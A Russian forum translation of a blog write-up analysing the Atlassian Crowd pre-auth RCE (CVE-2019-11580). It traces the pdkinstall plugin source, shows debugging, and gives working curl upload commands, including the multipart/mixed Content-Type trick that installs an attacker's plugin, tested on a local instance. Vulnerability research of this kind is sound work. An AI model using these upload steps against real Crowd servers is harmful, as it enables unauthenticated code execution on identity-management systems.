• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализ Atlassian Crowd RCE - CVE-2019-11580

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно я наткнулся на приложение Atlassian Crowd, когда занимался изучением уязвимостей. Если вы не знакомы с Crowd, это централизованное приложение для управления идентификацией, которое позволяет компаниям «управлять пользователями из нескольких каталогов - Active Directory, LDAP, OpenLDAP или Microsoft Azure AD - и управлять разрешениями аутентификации приложений в одном месте».

Была установлена старая версия, поэтому я начал гуглить, чтобы узнать, есть ли какие - либо уязвимости, и я наткнулся на этот консультативный : «плагин pdkinstall(CVE-2019-11580)».

Описание Atlassian:

«Crowd и Crowd Data Center неправильно подключили плагин pdkinstall в своих сборках. Злоумышленники могут отправлять неаутентифицированные или прошедшие проверку подлинности запросы в экземпляр Crowd или Crowd Data Center и могут использовать эту уязвимость для установки произвольных подключаемых модулей, что позволяет удаленно выполнять код в системах с уязвимой версией Crowd или Crowd Data Center ».

Проведя поиск, я не смог найти никаких доказательств концепции уязвимости, поэтому решил проанализировать ее и попытаться ее создать.

Анализ:
Я начал с клонирования исходного кода плагина, который можно найти здесь .

Код:
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

Мы можем найти файл plugin descriptor по пути ./main/resources/atlassian-plugin.xml . Каждому плагину нужен файл plugin descriptor , который просто содержит XML, который «описывает плагин и содержащиеся в нем модули для хост-приложения» - Atlassian .

Давайте посмотрим на это:

Код:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

Мы можем видеть, что класс Java com.atlassian.pdkinstall.PdkInstallFilter вызывается путем посещения /admin/uploadplugin.action . Поскольку мы знаем, что уязвимость заключается в RCE через произвольную установку плагинов, ясно, что мы должны начать с просмотра исходного кода PdkInstallFilter .

Давайте импортируем pdkinstall-plugin в IntelliJ, чтобы мы могли начать изучение исходного кода. Мы собираемся начать с метода doFilter() .

Мы видим здесь , что если метод запроса не POST, то он будет выдавать ошибку:

Код:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

Затем он определяет, содержит ли запрос многокомпонентный контент. Составной контент - это однин массив, который содержит один или несколько различных наборов данных, которые объединяются. Если он содержит многокомпонентное содержимое, он вызовет метод extractJar() для извлечения jar-файла, отправленного в запросе, в противном случае он вызовет метод buildJarFromFiles () и попытается создать файл jar плагина из данных в запросе.

Код:
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

Теперь давайте переключим наше внимание на метод extractJar () .

Код:
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

Сначала он создает новый объект ServletFileUpload , а затем вызывает метод parseRequest () для анализа HTTP-запроса. Этот метод обрабатывает поток multipart / form-data из HTTP-запроса и устанавливает список FileItems для переменной, называемой items .

Для каждого item (в списке FileItems), если имя поля начинается с file_ и не является полем формы ( полем HTML), он создает и записывает загружаемый файл во временный файл на диске. Если это не удастся, переменная tmp будет нулевой; в случае успеха переменная tmp будет содержать путь к файлу, который был записан. Затем всё возвращается обратно в метод doFilter () .

Код:
if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

Если extractJar () завершится успешно, то переменная tmp будет установлена и будет не равна нулю. Приложение попытается установить плагин с помощью method pluginInstaller.install () и обнаружит любые ошибки в процессе. Если ошибок нет, то сервер отвечает 200 OK и сообщением, что плагин был успешно установлен. В противном случае сервер ответит «400 Bad Request» и сообщением «Unable to install plugin» вместе с ошибками, которые привели к сбою установки.

Тем не менее, если первоначальный method extractJar () завершится неудачно, переменная tmp будет иметь значение null, и сервер ответит «400 Bad Request» вместе с сообщением «Missing plugin file».

Теперь, когда мы знаем конечную точку и ожидаемый запрос, давайте попробуем использовать его!

✗ Попытка № 1
Давайте создадим экземпляр, используя Atlassian SDK.

Теперь давайте удостоверимся, что мы можем вызвать плагин pdkinstall, посетив: http://localhost:4990/crowd/admin/uploadplugin.action .

Сервер должен ответить - 400:

image2.png


Попробуем загрузить стандартный плагин, используя имеющиеся у нас знания. Я решил попробовать это с помощью applinks-plugin из atlassian-bundled-plugins. Вы можете получить скомпилированный файл JAR отсюда .

Вот что мы знаем: сервлет требует POST-запрос, содержащий многокомпонентные данные, который содержит файл, который начинается с имени file_ . Мы можем сделать это легко с помощью флага --form cURL

Код:
root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v


image4.png


Как видно из результата, он успешно установил плагин; поэтому мы должны иметь возможность создавать и устанавливать наш собственный плагин, верно?

Я создал вредоносный плагин, который можно найти здесь

Итак, давайте скомпилируем его и попытаемся загрузить.

Код:
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v


image5.png


Мы видим, что это не удается, и сервер выдает 400 Bad Request, и ответ содержит сообщение об ошибке «Missing plugin file» . Ранее мы знали, что если tmp равен нулю, сервер отвечает точным сообщением и кодом состояния, но что вызывает это? Давайте прикрепим отладчик.

Отладка
Я импортировал plugin pdkinstall в IntelliJ, подключил отладчик к экземпляру Crowd и открыл сервлет PdkInstallFilter.java, который, как мы знаем, обрабатывает загрузки.

Моим первым предположением было то, что метод ServletFileUpload.isMultipartContent (req) не удался , поэтому я установил там точку останова. Затем я снова попытался загрузить свой вредоносный плагин, однако мы видим, что он работает как обычно, и сервер видит его как составной контент:



image3.png


Так что тогда это должен быть extractJar (), который не работает. Давайте отладим этот метод и установим “breakpoints” построчно, чтобы мы могли выяснить, где он ломается. После установки “breakpoints” я попробовал еще раз:

extractJar-debugging.gif


Мы видим, что метод upload.parseRequest (req) возвращает пустой массив. Поскольку переменная items пуста, она пропускает цикл for и возвращает tmp, для которого установлено значение null.

Я потратил много времени, пытаясь выяснить, почему это происходит, и я точно не знаю причину этого, но все, что меня беспокоило - это получение RCE.

Что бы произошло, если бы я изменил Content-Type с multipart / form-data на другую многочастную кодировку? Давай попробуем.

✗ Попытка № 2
На этот раз я решил попробовать загрузить свой вредоносный плагин с Content-Type multipart / mixed . Может быть, это сработает?

Код:
curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

Он ответил сообщением, что плагин был установлен:

image6.png


Давайте посмотрим, сможем ли мы действительно запустить вредоносный плагин:

image7.png


Теперь у нас есть предварительное удаленное выполнение кода на Atlassian Crowd!

Outro:
Все время, которое я потратил на анализ этого CVE, окупилось!

Вот большой вывод из этого:
● Не бойтесь пробовать!

Я не очень хорошо знаю Java, у меня нет опыта отладки, но это не помешало мне попробовать. Пробуйте, проводите исследования и сражайтесь - это огромная часть учебного процесса!

Я надеюсь, что этот пост был интересным и что вам понравилось его читать!

Счастливых взломов :)


Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://www.corben.io/atlassian-crowd-rce/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх